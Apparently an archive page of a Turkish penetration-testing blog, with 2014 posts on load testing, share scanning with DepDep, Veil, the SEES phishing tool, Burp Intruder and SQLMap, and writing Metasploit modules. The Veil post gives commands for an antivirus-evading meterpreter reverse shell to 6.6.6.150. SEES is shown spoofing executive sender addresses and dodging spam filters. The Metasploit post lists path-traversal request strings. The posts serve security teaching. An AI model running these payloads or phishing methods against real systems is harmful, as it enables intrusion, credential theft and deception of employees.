7 Nisan 2014

Bu yazımızdaki temel amaç temel seviyede dinamik analiz yöntemleri kullanarak zararlı yazılımı analiz etmek.Lab seneryomuz; çalışmadan önce dosya adını kontrol eden, bağlantı kuracağı adresi çalışma anında dinamik olarak oluşturan bir zararlıyı debugger kullanarak analiz etme

28 Mart 2014

IXIA ile Yük ve Stres Testi

Posted by: Ahmet YURTTAŞ 28 Mart 2014

IXIA ile yük ve stres testi yapılabileceği gibi penetrasyon testler esnasında hedef sistemlerin Denial of Services saldırılarına karşı yeterince önlem alınıp alınmadığının testlerinde de kullanılmaktadır. Sisteminizde bulunan cihazların karşılayabileceği yükü öğrenmenin birçok yolu var. IXIA Server ile bu işlemi yapmak bu seçeneklerden bir tanesidir. IXIA, trafik generate eden yüksek persormanslı bir server'dır. Http post/get flood saldırıları başta olmak üzere hemen hemen tüm flood saldırı yöntemlerini desteklemektedir.  Detaylar için http://www.ixiacom.com/ linkine tıklayabilirsiniz. 
   Aşağıda yapmış olduğum yük testlerinden birinin topolojisi bulunmaktadır. Http get isteğiyle LB ve Server'lar için yük testi yapılmıştır.


Topoloji'den Sonra biraz LB üzerindeki konfigürasyonlardan bahsedip, IXIA'ya geçeceğiz. 

    Topolojide F5 LB üzerinde vCMP ile ayrılmış Guestler bulunmaktadır. Bu guestler şasiler arasında yedekli çalışmaktadır. HTTP Guest içerisinde oluşturulmuş Test_VS altında aşağıdaki şekilde ve topolojide görüldüğü gibi 3 adet sunucu bulunmaktadır.


 Bu sunucular üzerinde IIS'ler aktif edilmiş ve bu server'lara 172.30.10.101/test.htm şeklinde istekte bulunulduğunda cevap olarak OK1 dönmektedir. Bu üç sunucu VS arkasına alındıktan sonra IXIA tarafında gerekli çalışmalar başlatılır.

  • IXIA sunucusunun managemet portu ayarlanır
  • Sunucu portları (basılacak trafik bouyuna göre port sayısı arttırılmalıdır) switch'e bağlanır ve switch üzerinde gerekli vlan ayarları yapılır. Örnekte VS IP'si 172.30.20.55 ve VLAN ID'si 20 olduğu için portlar VLAN 20'ye atanmıştır.
  • IXIA Client'ı olan IxLoad, Windows 7'de sorun çıkarabilen bir uygulamadır. Bu nedenle başka bir Win2003 sunucusu üzerinde SQL2005 ile birlikte kurulur. (Önce IxLoad kurulur)
  • Kurulumdan sonra karşınıza aşağıdaki gibi bir ekran çıkacaktır. 

  • New Traffic Flow sekmesinde aşağıdaki gibi bir NetTraffic üretilir.

                    
  • Oluştulan NetTraffic altında, IXIA Sunucusu Client rolünde olacağı için HTTP Client seçilir.

  • Oluşan HTTPClient1 altında Start üzerinde sağ tık>Add Commands yapılır ve isteğimiz get olacağı için get seçilir. Bu adımdan sonra yapacağımız istek bu kısma girilecektir.
  • Test yapılacak IP ve istek sayfası aşağıdaki gibi yazılır.
  • Yukarıdaki şekilde 172.30.20.55 IP'si LB üzerinde oluşturduğumuz Virtaul Server IP'sidir. test.htm ise serverların bu IP'ye yapılan requestlere döndüğü cevaptır. Server'lar üzerindeki IIS'lerde test.htm şeklinde bir dosya bulunmaktadır.
  • Yapılacak istek settings sekmesinden HTTP 1.1 ve maximum secilir.
                                 
  • Şimdi gelelim daha önceden Switch portlarına taktığımız IXIA sunucusunun portlarına.(Yapılan testte 4 adet fiziksel port bağlanmıştır) Bu portların VS'e yapacağı requestler için aynı bloktan veya GW li IP vermek gerekecektir. Bu işlem, aşağıdaki menüden yapılır.

  • Traffic@Network1>Network tıklanarak şeklin altındaki menü aktif edilir. Bu menüde istek yapılacak başlangıç IP'si (3), bu IP'lerin artış şekli(4) ve kaç client yani IP bulunacağı(5) belirlenir.
  • Şimdi sıra IXIA sunucusu üzerindeki porları aktif etmeye. Aşağıdaki şekildeki gibi port

assestment kısmında 2 nolu kutu tıklanır. Burada karşımıza Chasis Name sorulacaktır. Buraya şasi IXIA Sunucu şasi management IP girilir. Bu işlemden sonra 3 nolu bölümde olduğu gibi karşımıza sunucunun portları çıkacaktır. Burada yeşil portlar aktif olan portlardır. Bu portlara çift tıklanarak sağdaki Assigned Ports kısmına atanır.

  • Biraz sabır. Teste başlamamıza çok az kaldı. Bu işlemler tamamlandıktan sonra connectin per sec, kaç sn test yapılacağı gibi adımlar kaldı. Hadi birde bunlara göz atalım.    
  • Timeline and Objective menüsünden istenilen connection per sec sayısı ve süreleri girilir. Örnekte 10.000 Connection 30 sn süre ile sunuculardan 1 iteresyon ile istek gönderecektir. Play butonu ile test başlayacaktır. 
  • Aşağıda daha önceden yapılmış bir testin sonuçları paylaşılmıştır.
    Bu sonuca göre test boyunca 1.76M request gönderilmiştir ve bu requestlerin 115 tanesi başarısız olarak dönmüştür. 

    Reporter menüsünden Generate Report menüsünde otomatik olarak test sonuçları ile ilgili pdf formatında bir rapor hazırlanacaktır.

    Yukarıda http get isteğiyle tamamlanmış bir test bulunmaktadır.



    Ahmet Yurttaş <a.ahmetyurttas@gmail.com>

    17 Mart 2014

    Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlama

    Posted by: onuralanbel 17 Mart 2014
    Zararlı yazılım analizi ve bu alandaki araştırma çalışmaları, Stuxnet, Duqu, Carberp, Zeus ve daha birçok gelişmiş zararlı yazılımın sistemleri etkisi altına aldığı günümüzde, özellikle de zararlı yazılımlara karşı bilindik yöntem ve araçların ne kadar etkisiz kaldığı göz önüne alındığında, bilgi güvenliği açısından büyük bir önem arz etmektedir.

    6 Mart 2014

    Kurum ağı içerisindeki paylaşımlar içerisinde kritik bilgilerin bulunması kurum ağı içerisindeki sunucu servislerine erişim imkanı sağyabilmektedir. Yedekleme amaçlı olarak kullanılan veya hızlı bir biçimde veri aktarımı için aktf hale getirilen paylaşımların unutulması gibi bir takım durumların ardından ortaya çıkabilecek verilerin kullanılması ile kurum ağı içerisindeki servislere erişim mümkğn duruma gelebilmektedir.

    NOT : Burada anlatılanlar Kali Linux üzerinde denenmiştir.

    Kurulum:

    https://github.com/galkan/depdep adresinden yazılım temin edilebilir. Bunun için git clone komutu kullanılabilir.
    # git clone https://github.com/galkan/depdep
    DepDep dosya içeriklerinin kontrol edilebilmesi için Apache tika projesini kullanmaktadır. Ayrıntılar için https://tika.apache.org/ adresine göz atılabilir. Tika servisi için gerekli paketlerin sisteme kurulması için aşağıdaki komut çalıştırılabilir.
    # apt-get install openjdk-6-jre-headless:amd64
    DepDep ile birlikte (scripts dizini altında) tika paketide gelmektedir. Başlatmak için aşağıdaki komut çalıştırılmalıdır.
    # /usr/bin/java -jar /opt/tika/tika-server-1.4.jar >/dev/null 2>/dev/null &
    Bu işlem için DepDep ile birlikte gelen (scripts dizini altında) tika.sh betiğide kullanılabilir.
    # /etc/init.d/tika.sh start
    [+] Tika has been started ...
    Tika servisini çalıştırılmasının ardından çalışan tika süreçleri ps komutu yardımı ile görüntülenebilir. Bunun için aşağıdaki komutun çalıştırılması gerekmektedir.
    # ps -ef | grep java | grep -v grep
    root     13066     1 99 15:52 pts/3    00:00:01 /usr/bin/java -jar /opt/tika/tika-server-1.4.jar
    DepDep python programlama dili ile linux araçlarının entegrasyonu gerçekleştirilerek geliştirilmiş bir projedir. Bundan dolayı bazı paketlerin sistende kurulu olması gerekmektedir. Kurulması gereken yazılımlar ve kısaca görevleri aşağıda gösterilmiştir.

    nmap -> Belirtilen ip adres aralığındaki 445/tcp portu açık ip adreslerinin tespit edilmesini sağlar.
    cifs-utils -> Tespit edilen paylaşımların yerel linux sunucuya mount edilmesini sağlar.
    mount -> Paylaşımların mount ve umount işlemlerini gerçekleştirir.
    smbclient -> Windows paylaşımlarını listeler.
    samba4-clients -> Paylaşımların listelenmesi ve linux sunucudan erişilebilmesi gibi diğer işlemleri gerçekleştirir.
    findutils -> Yapılandırma dosyası içerisinde belirtilen dosya türlerinin veya isimlerinin bulunmasını sağlar.
    curl -> Paylaşım içerisindeki dosyaların tika sunucusuna gönderilmesini gerçekleştirir.

    Bu paketlerin paket yönetim sistemi ile kurulması için aşağıdaki komutun çalıştırılması gerekmektedir.
    # apt-get install nmap cifs-utils mount smbclient samba4-clients findutils curl

    Yapılandırma Dosyası:


    Yapılandırma target, scanning, settings ve content olmak üzere 4 ana başlık altında toplanmaktadır. Yapılandırma için DepDep paketi ile birlikte gelen config dizini altındaki depdep.xml dosyası kullanılabilir. Buradaki ön tanımlı değerlerin isteğe göre değiştirilmesi gerekmektedir. 

    target : Bu bölüm içerisinde taranacak ip adres aralığı belirtilmektedir. <include-ip> ile nmap ile taranması istenilen ip adres veya ip adres blokları belirtilmektedir. Burada belirtilen ip adresleri için CIDR notasyonu kullanılmaktadır. Burada 2 türlü direktif kullanılmaktadır. Belirtilmek istenen ip adres veya ip adres aralıkları <include-ip> içerisinde, hariç tutulmak istenen ip adres veya ip adres aralığı ise <exclude-ip> direktifi içerisinde belirtilmelidir. Aşağıda örnek bir kullanım gösterilmiştir. Bu gösterim ile 192.168.1.0/24 ip adres bloğu içerisinde 192.168.1.4 ile 192.168.1.10 arasında kalan tüm ip adresleri belirtilmektedir.

    <target>
    <include-ip>192.168.1.0/24</include-ip>
    <exclude-ip>192.168.1.4-10</exclude-ip>
    </target>
    scanning: Bu bölüm içerisinde taramalar için anlık çalışacak nmap sayısını belirtilmektedir. <thread> opsiyonu ile aynı anda çalışacak nmap sayısı belirtilmektedir.

    <thread>10</thread>

    settings: Bu bölüm içerisinde paylaşımda aranacak en fazla dosya boyutu (max_filesize), çıktıların yazılacağı (output_file) ve taramalarda kullanılabilecek olan kullanıcı adı, parola ve domain adı bilgisi (credentials) belirtilemektedir
           
           max_filesize : Bu opsiyon ile taramalardaki en fazla dosya boyutu belirtilmektedir .
           output_file   : Bu opsiyon ile çıktıların yazılacağı dosya yolu belirtilmektedir. Ön tanımlı olarak bu dosya için /tmp/depdep.result yolu kullanılmaktadır. Anlık olarak görüntülemek için tail -f /tmp/depdep.result komutu kullanılabilir.
           credentials : Bu opsiyon ile taramaların anonymous veya belirtilen kullanıcı bilgileri ile gerçekleştirilmesi sağlanır. username kısmına kullanılmak istenen kullanıcı adı, password kısmına bu kullanıcıya ait parola bilgisi ve domain kısmına ise kullanılmak istenen domain bilgisi yazılmalıdır. Eğer tüm bu alanlar boş bırakılırsa eğer anonymous bir taramanın gerçekleştirileceği belirtilmektedir.

    <settings>
    <max_filesize> 5M </max_filesize>
    <output_file><![CDATA[ /tmp/depdep.result ]]></output_file>
                    <credentials>
                            <username><![CDATA[]]></username>
                            <password><![CDATA[]]></password>
                            <domain><![CDATA[]]></domain>
                    </credentials>
    </settings>
    content: Bu bölüm içerisinde bağlanan ( mount ) paylaşımlar içerisindeki dosyaların aynı anda kaç sayıda tika servisine iletileceği, taranmak istenen dosya türleri, dosya adına göre tarama ve dosya içeriklerine göre tarama seçenekleri belirtilmektedir.

         thread: Bu opsiyon ile paylaşımlardaki bulunan dosyaların aynı anda kaç sayıda tika servisine gönderileceğini belirtilir.
           filetype: Bu opsiyon ile taranmak ve hariç tutulmak istenen dosya türleri belirtilmektedir. <include-type> opsiyonu ile tarama kapsamindaki dosya türleri belirtilmektedir. <exclude-type> opsiyonu ile ise hariç tutulmak istenen dosya türleri belirtilmektedir . Aşağıda gösterilen örnek yapılandırma dosyasında sadece txt, xls ve docx dosya türleri tarama kapsamına alınmıştır. Eğer sadece hariç tutulmak istenen dosya türleri belirtilmek istenirse <exclude-type> opsiyonu içerisinde belirtilmelidir. Örneğin <exclude-type>docx</exclude-type> belirtimi ile docx dosya türü haricindeki tüm dosya türleri tarama kapsamına alınmış olmaktadır.
           filename: Bu opsiyon ile dosya isminde geçen ibarelere göre tarama işleminin yapılacağı belirtilmektedir.  Tarama için kullanılacak ifade CDATA[] ifadesi arasında belirtilmelidir. Burada isteğe göre düzenli ifade  kullanımıda mümkün olmaktadır.
       filecontent: Bu opsiyon ile dosya içeriğinde geçen ibarelere göre tarama işleminin yapılacağı belirtilmektedir.

            İster filename ifadesi kullanılarak dosya adına göre tarama işlemi yapılsın ister filecontent ifadesi kullanılarak dosya içeriğine göre tarama işlemi yapılsın, her iki ifade içinde aşağıdaki belirtimler ortak olarak kullanılmaktadır. Her 2 ifadede aynı anda kullanılabilmektedir. Yani ister dosya adına isterse dosya içeriğine göre tarama işlemi yapılabilmektedir. 

                   case : Bu direktif ile büyük/küçük harf ayrımı yapılıp yapılmayacağı belirtilmektedir. sensitive olması durumunda bu ayrım gözetmeksizin işlem gerçekleştirilmektedir. insensitive direktifinin kullanılması durumunda ise büyük/küçük harf ayrımı yapılmaksızın işlemin gerçekleştirileceği belirtilmektedir.
                       type: Bu direktif daha sonra kullanılmak üzere kullanılmıştır.
                       description: Tarama sonucunda herhangi bir eşleşme olması halinde sonuç dosyasının içerisinde açıklama bilgisi olarak görünecek ifadeyi belirtmektedir.
                 
                   <content>
    <thread>10</thread>
    <filetype>
    <include-type>txt</include-type>
    <include-type>xlsx</include-type>
    <include-type>docx</include-type>
    </filetype>
    <filename>
                            <keyword case="insensitive" type="plain" description="password including file names">
                                    <![CDATA[ password ]]>
                            </keyword>
    </filename>
    <filecontent>
    <keyword case="insensitive" type="plain" description="password including file contents">
                                    <![CDATA[ password ]]>
                            </keyword>
    </filecontent>
    </content>

    Çalıştırma :

    
    
    Çalışmasına ilişkin oturum bilgisi session dizini altındaki dosyalarda tutulmaktadır. Bu şekilde uzun sürebilecek olan çalışmalar için en son kalınan noktadan itibaren devam etmesi mümkün olacaktır. -w 1 opsiyonu ile oturum bilgisi kullanılmadan öncelikle nmap taraması ile paylaşımlar listelenecek ve ardından gerekli yapılandırma gereğince bu paylaşımlardaki veriler kontrol edilecektir.
    # python depdep.py --config config/depdep.xml -w 1

    Oturum bilgisi varsa ve kullanılmak isteniyorsa eğer -w 1 opsiyonu olmaksızın aşağıdaki şekilde çalıştırılması yeterli olacaktır.
    # python depdep.py --config config/depdep.xml
    NOT: Makalenin en güncel haline http://www.galkan.net/2014/03/paylasimlardaki-gizli-tehlikeler-ve-kritik-verilerin-ortaya-cikartilmasi-depdep.html adresinden erişim sağlanabilir.

    28 Şubat 2014

    Penetrasyon testlerinde sıklıkla antivirus uygulamalarının atlatılması mecburiyeti doğmaktadır. Çeşitli encoding yöntemleri kullanılarak antivirus yazılımları atlatılabilmektedir. Smbexec, metload benzeri yazılımlar ile istenilen özelliklerde zararlı yazılım üretmek mümkündür. Aşağıda bunlara alternatif ve oldukça başarılı bir uygulama olan VEIL ile bu işlemin nasıl gerçekleştirilebileceğine değinilmiştir.


    Windows işletim sistemleri üzerinde çalışan antiviruslere yakalanmayan batch file oluşturmak için aşağıda ki ilgili komutları çalıştırmamız yeterlidir. 6.6.6.150 ipsine 443 portu üzerinden reverse bağlantı kurarak erişim sağlanacaktır.


    Öncelikle aşağıdaki komut kullanılarak batch file oluşturulabilir. İlgili komut çalıştırıldıktan sonra .bat uzantılı zararlı uygulamamız oluşmuş olacaktır.


    veil -l powershell -p VirtualAlloc -o undetectable --msfpayload windows/meterpreter/reverse_tcp --msfoptions LHOST=6.6.6.150 LPORT=443









    Windows üzerinde batch filemizi çalıştırmadan önce lokal makinamızda 443 portu metasploit ile dinleme moduna alıyoruz.


    Aşağıda 443 portunun dinleme moduna alınması sağlanmıştır. Payload olarak reverse_tcp kullanılmıştır.



    msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=6.6.6.150 LPORT=443 E







    Windows üzerinde undetectable.bat dosyamızı çalıştırıyoruz. Çalıştırmamızla birlikle meterpreter shell bizi karşılıyor.






    Zararlının çalıştırıldığı system üzerindeki antivirüsün zararlıyla ilgili herhangi bir bloklama işlemi gerçekleştirmediği aşağıda görülebilmektedir.





    13 Şubat 2014

    Kişisel bilgisayarlar, yapılan saldırıların zorluğu ve getirileri oranlandığında siber suçlular için oldukça cazip birer hedef halindedirler. Hem kurulu uygulamaların çeşitliliği ve güncel olmaması, hem de kullanıcıların dikkatsizliği ve güvenlik bilincinin gelişmemiş olmasından dolayı genellikle sistemlerin zayıf halkası olarak görülürler. 

    7 Şubat 2014

    Social Engineering Attack with SEES

    Posted by: Gökhan ALKAN 7 Şubat 2014
    What is SEES?

    Most of the companies nowadays have their firewalls, threat monitoring and prevention security appliances setup. With these mechanisms in place, security precautions are taken and incidents are monitored. Inbound traffic being restricted, SEES on the other hand is developed for sending targeted phishing emails in order to carry sophisticated social engineering attacks/audits.

    SEES aims to increase the success rate of phishing attacks by sending emails to company users as if they are coming from the very same company’s domain. The attacks become much more sophisticated if an attacker is able to send an email, which is coming from ceo@example.org email address, to a company with domain example.org.


    Example SMTP Service Configuration

    It is possible to send emails with or without attachments with SEES. But first, a working SMTP service is needed to send an email. Here, postfix service will be used as an example. On Kali linux this can easily be achieved by using the package management system;

    # apt-get install postfix

    After the installation the configuration of SMTP server is needed. An example configuration file is shown below. Other configurational alternatives are possible, too.

    # cat /etc/postfix/main.cf  | grep -Ev "^#|^$"

    smtpd_banner = See you soon
    biff = no
    append_dot_mydomain = no
    readme_directory = no
    smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
    smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
    smtpd_use_tls=yes
    smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
    smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
    myhostname = mail.galkan.net
    alias_maps = hash:/etc/aliases
    alias_database = hash:/etc/aliases
    myorigin = /etc/mailname
    mydestination = mail.galkan.net, localhost.galkan.net, , localhost
    relayhost =
    mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
    mailbox_size_limit = 0
    recipient_delimiter = +
    message_size_limit = 314572800
    inet_interfaces = 127.0.0.1

    After the installation and configuration postfix is re/started.

    # /etc/init.d/postfix start

    A simple netstat command can be executed to check if the service is up and running.

    # netstat -nlput | grep 25

    tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      13707/master

    Downloading & Configuring SEES

    The source code and downloadables can be reach at https://github.com/galkan/sees. First of all, the dependencies should be resolved for Backtrack installations (for Kali there’s no need to execute this step).

    # apt-get install python-argparse
    # wget https://github.com/galkan/sees/archive/master.zip
    # unzip master.zip


    SEES configuration file includes the domain parameter under the [mail] section, server and time parameters under the [smtp] section. config.cfg file under the config/ directory that comes with the SEES installation can be analyzed.

    domain: This parameter notes the source domain names that the target SMTP server will get the phishing emails.

    SEES produces emails using random domain names in order to prevent target system to classify original phishing emails as spam. The function that implements this behaviour is shown below;


    def random_email(self):
                   """
                           Create random string for sending email so that target email server doesn't recognize that this is a spam email ...

                   """
                   chars_1 = "".join( [random.choice(string.letters) for i in xrange(self.num1)] )

                   chars_2 = "".join( [random.choice(string.letters) for i in xrange(self.num2)] )

                   return  chars_1 + "." + chars_2

    server: This parameter notes the source SMTP server that the phishing emails will be sent from. Server living on 127.0.0.1 will be used easily preventing any authorization & authentication mechanisms.

    time: This parameter notes the time differences between sent emails. With this behaviour target SMTP servers are tried to be fooled in order not to classify the original phishing emails as spam. Two options are possible to determine the time differences. One of them is a fixed time period and this is the easy one. The other alternative is using a time range with a comma between, such as 1,3. This denotes waiting a random time difference between 1 and 3 seconds each time before sending a  phishing email.

    An example configuration file is shown below;

    # cat config/config.cfg
    [mail]
    domain = galkan.net
    [smtp]
    server = 127.0.0.1
    time = 1,3


    Structure of Emails sent by SEES

    The structure of emails are represented in the following way;


    From Email:From Name Surname:Email Subject:Target Email
    Name, surname and the subject parts are obvious. The From Email parameter denotes the from email address, such as, mail_from@example.com. And Target Email parameter denotes the target email address, such as, mail_to@example.com.


    The below file includes two definitions of emails that are wanted to be sent. In order program to stop, and exit command should be entered. The definitions after the exit statement will be discarded.


    # cat config/mail.user
    MANAGER@example.com:Gökhan ALKAN:About Salary:mail_to@gmail.com
    MANAGER2@example.com:Gökhan ALKAN:About Salary:mail_to@gmail.com
    exit


    --text parameter denotes that the email will not have an attachment but will only include a text message. If the email should include HTML text then the HTML file name should be indicated after the --html_file parameter.


    # cat data/html.text
    <html>
           example content
    </html>

    --attach parameter denotes the file names of attachments. More than one file names can be attached with a space between. Moreover, if the email should include text then the file name should be indicated after the --html_file parameter. But the file content shouldn’t be in HTML. If the mail message should be empty then the file should be empty. An example content is shown below;

    # cat data/attach.text

    example content

    SEES Use Cases


    Scenario 1: Emails with no attachment

    An example of sending emails with message content only is shown below.

    # ./sees.py --text --config_file config/config.cfg --mail_user config/mail.user --html_file data/html.text -v

    Using SEES for malicious purposes is illegal. USE AT YOUR OWN RISK, Agree (Y|n)

    Y

    [+] MANAGER@example.com -> mail_to@gmail.com

    [+] MANAGER2@example.com -> mail_to@gmail.com

    SEES v1.0 - Galkan - http://www.galkan.net/


    -v parameter prints the sent email on the screen for debugging purposes. The targeted user’s  email client will show MANAGER@example.com as the sender for the first email but the target SMTP server will process the same email as it is coming from tUniKSr.fPrAin@galkan.net. As it was pointed out before, the random email addresses are formed in order the target SMTP server to classify these emails as spam.
    ..
    Return-Path: <tUniKSr.fPrAin@galkan.net>
    From: MANAGER@example.com
    ..
    Scenario 2: Emails with attachments

    An example of sending emails with attachments is shown below.

    # ./sees.py --attach data/sample.pdf data/sample.docx --config_file config/config.cfg --mail_user config/mail.user --html_file data/attach.text -v

    Using SEES for malicious purposes is illegal. USE AT YOUR OWN RISK, Agree (Y|n)

    Y

    [+] MANAGER@example.com -> mail_to@gmail.com
    [+] MANAGER2@example.com -> mail_to@gmail.com
    SEES v1.0 - Galkan - http://www.galkan.net/


    The attached files are pointed with file names after the --attach parameter with a single space in between. sample.pdf and sample.docx are used as attachments with the example above.


    -v parameter prints the sent email on the screen for debugging purposes. The targeted user’s  email client will show MANAGER@example.com as the sender for the first email but the target SMTP server will process the same email as it is coming from PfFYyS.YtODLA@galkan.net. As it was pointed out before, the random email addresses are formed in order the target SMTP server to classify these emails as spam.
    ...

    Return-Path: <PfFYyS.YtODLA@galkan.net>
    From: MANAGER2@example.com



    You can download sees from  https://github.com/galkan/sees/archive/master.zip and for accessing updated version, please visit http://www.galkan.net/2014/02/sees-social-engineering-email-sender.html

    Disclaimer:
    Using SEES for malicious purposes is illegal. USE AT YOUR OWN RISK

    5 Şubat 2014

    Burp Suite sızma testlerinde sıklıkla kullanılan bir web proxy uygulamasıdır. Gerek varsayılan olarak gelen eklentiler, gerekse harici eklentiler yardımıyla web uygulama güvenliği alanında çok özellikli bir araç haline gelmiştir. Bu yazıda varsayılan olarak gelen eklentilerden Intruder, harici olarak da SQLMap eklentisi ele alınmıştır.

    Burp Intruder

    Burp Intruder eklentisi, HTTP isteklerinin header veya body kısımlarında istediğimiz bölümlere gerek manual hazırlanmış gerekse otomatik olarak üretilen payloadları enjekte etmekte kullanılır.
    Örneği basit tutmak adına bir web formuna parola denemesi ele alınmıştır.

    Burp Suite’i çalıştırıp web tarayıcıyı proxy olarak localhost:8080 kullanacak şekilde ayarladıktan sonra hedef sisteme tarayıcıdan erişilip istek Burp Suite proxy sekmesinde görülür. Sağ tıklayıp “send to Intruder” ile HTTP isteği Intruder eklentisine gönderilir. Şekilde de gösterildiği gibi payloadın enjekte edileceği yerleri § karakteriyle işaretleyip, HTTP isteğinin formatı hazırlanır.
     

    Örnekteki login formuna ait HTTP POST isteği kullanıcı adı bga, parola ise enjeksiyon noktası olacak şekilde ayarlanmıştır. Payload sekmesinde Payload Options bölümünde denenecek payloadlar(bizim durumumuzda parolalar) bir dosyadan yüklenebilir ya da el ile girilebilir. Ayrıca Payload Processing bölümünde payload üzerinde yapılacak işlemler belirlenebilir. Örnekte parolaların sonuna 123 eklenmesi için “Add suffix:123” şeklinde ayarlanmıştır.
     

    Ayarlar yapıldıktan sonra üst menüden Intruder-> Start attack tıklanarak, saldırı başlatılır. Çalışma bittiğinde dönen cevapların süresi veya boyutu gibi kriterler üzerinden yorum yapılabilir.



    Örnek çıktıda denenen tüm parolalarda cevabın boyutu 539 byte iken bga123 için 365’tir. Bunun sebebi de sisteme başarılı bir giriş gerçekleştiğinde login formunu tekrar göstermek yerine giriş başarılı yazan bir sayfa döndürmesidir.

    Burp SQLMap


    Burp için hazırlanmış SQLMap eklentisi, sql enjeksiyon zafiyetlerini istismar etmeye yarayan oldukça kullanışlı bir araç olan SQLMap ile Burp Suite’i entegre etmiştir. http://code.google.com/p/gason/downloads/list adresinden ücretsiz olarak indirilebilir.

    Linuxte eklentiye ait gason-0.9.5.jar dosyası Burp Suite’in olduğu dizine(Kali de /usr/bin) atılıp ilgili dizine girildikten sonra
    “java -classpath gason-0.9.5.jar:burpsuite.jar burp.StartBurp” komutu ile burp suite sqlmap eklentisiyle beraber çalıştırılır. Yine önceki örnekte olduğu gibi, HTTP isteği burp ile kesildikten sonra, sağ tuş-> send to sqlmap tıklanarak sqlmap eklentisi açılır. SQLmap’in terminalde kullanmaya aşina olduğumuz özellikleri bu eklenti üzerinden görsel arayüz aracılığıyla kullanılabilir. 
     

    Örnekte sqlmap, HTTP isteğindeki parametreleri sqli için test edip, istismar edilebilir bir parametre bulduğunda veritabanının MySQL olduğunu varsayarak veri tabanı kullanıcılarını listeleyecek şeklide ayarlanmıştır. Gerektiğinde belli kullanıcı ya da tablolarla işlem yapmaktan, tamper script seçmeye kadar sqlmap’in hemen her özelliği eklenti aracılığıyla kullanılabilir. Run butonu tıklandığında seçilen ayarlar için yeni bir sekmede sqlmap çalışır ve çıktısı ekranda görünür.
     


    Eklentinin ana sekmesinden farklı ayarlarla tekrar Run butonuna tıklanarak farklı sekmelerde eşzamanlı olarak sqlmap çalıştırılabilir.

    3 Şubat 2014

    Metasploit İçin Yardımcı Modül(Auxiliary) Geliştirme

    Posted by: onuralanbel 3 Şubat 2014
    Metasploit’in hali hazırda birçok istismarı veya çok çeşitli amaçlarla yazılmış bir çok modülü barındırmasının yanı sıra özel amaçlı modüllerin veya istismarların da hızlıca geliştirilmesine olanak tanıması günümüzde çoğu sızma test uzmanının veya istismar geliştiricisinin vazgeçilmez araçlarından biri olmasını sağlamıştır.


    Bir iş için ayrı bir betik yazmak yerine bunu bir Metasploit modülü olarak yazmanın başlıca getirisi bu modülü Metasploit’in diğer modülleriyle etkileşim içinde kullanma imkanı elde etmemizdir.
    Dokümanın amacı hedef sistemdeki saldırı engelleme sisteminin varlığını tespit edecek bir modül örneği üzerinden Metasploit için yardımcı modül yazımını anlatmaktır. Dokümanı rahatça takip edebilmek içinse Metasploit kullanımına hakim olmak ve giriş seviyesinde Ruby bilmek yeterli olacaktır.

    Metasploit’in genel mimarisi Metasploit için mükemmel bir kaynak olan “Metasploit Unleashed” sayfasından alınan aşağıdaki resimde görülebilir.


    Modül geliştirmek için her ne kadar genel yapıyı tanımamız gerekse de bizi esas ilgilendiren bölüm kütüphanelerdir. Metasploit’te üç temel kütüphane vardır MSF BASE, MSF CORE ve REX fakat modüllerde gerektiğinde diğer ruby kütüphaneleri de kullanılabilir. Bunlardan MSF BASE Metasploit yazılım çatısının ihtiyaç duyduğu en temel özellikleri barındırır. MSF CORE ise Metasploit’i Metasploit yapan programlama arayüzünü sağlar. REX de soketler, protokoller, kodlayıcılar gibi çok çeşitli işlerden sorumlu kütüphanedir.

    Metasploit, modül geliştirmek isteyenler için farklı türde modüllerin taslaklarıyla beraber gelir. Bu taslaklara Metasploit ana dizini altındaki documentation/samples/modules/ dizininden ulaşabilirsiniz.

    Bir modül taslağı seçip bunun üzerinden kendi modülümüzü yazmaya başlamadan önce modülün yapacağı işi ve kategorisini tanımlamamız gerekir. Örnek modül hedef sunucuya HTTP GET metodu ile saldırı engelleme sistemlerinin engellemek isteyeceği aşağıdaki dört farklı isteği gönderip isteğin engellenip engellenmemesini baz alarak bir tahmin yürütsün.
    '../../../etc/passwd'
    'etc/passwd'
    '../../../cmd.exe'
    ‘cmd.exe'

    İstekleri gönderildiğinde geriye 404,301,400 gibi HTTP hata mesajları dönüyorsa muhtemelen arada saldırıyı engelleyen bir sistem yoktur (veya IPS kurallarında aktif değildir), eğer RST cevabı dönüyor ya da hiç cevap dönmüyorsa arada bir saldırı engelleme sistemi vardır diyebiliriz.

    Zorunlu olmamakla birlikte Metasploitin özel modülleri için ~/.msf4/modules/ dizininin kullanımı tavsiye edilir. Örnek modülün adı ips_check olması ve auxiliary/scanner/misc kategorisine ait olması için msf4/documentation/samples/modules/auxiliary/sample.rb taslak dosyasını ~/.msf4/modules/auxiliary/scanner/misc/ips_check.rb şeklinde kopyalayıp modülü kodlama kısmına geçebiliriz.

    Yardımcı modül olayı basitleştirmek adına üç bölümde incelenebilir. İlk bölümde

    require 'msf/core'

    class Metasploit4 < Msf::Auxiliary
        include Msf::Exploit::Remote::HttpClient

    İlk satırda MSF CORE kütüphanesinin kullanılacağı belirtilip daha sonra sınıfın(Metasploit’te her modül bir Ruby sınıfıdır.) hangi sınıftan türeyeceği gösterilmiştir. Üçüncü satırda da HTTP isteklerinde kullanılacak metodları içeren mixin belirtilmiştir.

    İkinci bölümde sınıfın yapıcı metodu incelenebilir. Bu metod modülle ilgili genel bilgilerin belirlendiği, ayarların varsayılan değerlerinin atandığı veya yeni ayarların eklendiği bölümdür.
    def initialize
            super(
                'Name'        => 'IPS Check',
                'Version'     => '$Revision: 1 $',
                'Description'    => 'IPS check by sending malicious GET requests',
                'Author'      => 'Onur Alanbel',
                'License'     => MSF_LICENSE,
            )
            register_options(
                [
                    Opt::RPORT(80)
                ], self.class
            )
        end
    İlk kısımda super metodu ile üst sınıfa modülle ilgili genel bilgiler bildiriliyor, ikinci kısımda ise RPORT seçeneğine varsayılan değer olarak 80 atanıyor. Buradaki register_options a gönderilen listeye
